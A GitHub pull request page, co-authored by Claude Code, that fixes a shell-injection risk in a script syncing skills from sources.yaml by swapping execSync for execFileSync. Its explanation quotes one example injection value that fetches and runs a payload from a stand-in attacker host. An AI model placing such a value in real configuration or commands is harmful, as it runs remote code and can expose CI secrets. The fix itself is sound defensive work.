fix(security): replace execSync with execFileSync to prevent shell injection#22
Open
xiaolai wants to merge 1 commit into
Open
fix(security): replace execSync with execFileSync to prevent shell injection#22xiaolai wants to merge 1 commit into
xiaolai wants to merge 1 commit into
Conversation
…jection YAML-sourced values (ref, repoUrl, repoDir) were interpolated directly into shell command strings passed to execSync, creating a potential shell injection vector if sources.yaml were modified maliciously. execFileSync with an argument array passes values directly to the process without shell interpretation. Co-Authored-By: Claude Code <[email protected]>
This was referenced Apr 20, 2026
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Bug
scripts/sync-external.mjsusesexecSyncwith template-literal string interpolation to construct git commands. Two call sites pass values sourced directly fromsources.yaml:execSync(\git clone --depth 1 --branch ${ref} ${repoUrl} ${repoDir}`, ...)—refandrepoUrlcome fromskill.source.refandskill.source.repo`.execSync(\git -C ${repoDir} rev-parse HEAD`, ...)—repoDiris derived fromskill.source.repo.replace("/", "-")` (only a single slash-to-hyphen substitution, leaving other metacharacters intact).Because these strings are passed to a shell, a malicious or compromised
sources.yamlentry — e.g.ref: "main; curl attacker.com/payload | sh"— would be executed as a shell command in the CI environment.Fix
Replace both
execSynccalls withexecFileSyncand pass arguments as an array. Node.js then invokesgitdirectly viaexecve, bypassing the shell entirely, so metacharacters in YAML values are treated as literal strings.execSyncis still imported because it is used on line 280 (npm install --package-lock-only), which does not interpolate external data.Why it matters
This script runs in a GitHub Actions workflow (
sync-skills.yml) with write access to the repository. A shell injection here could exfiltrate secrets or tamper with synced skill content. The fix is minimal and fully backwards-compatible — the git commands behave identically.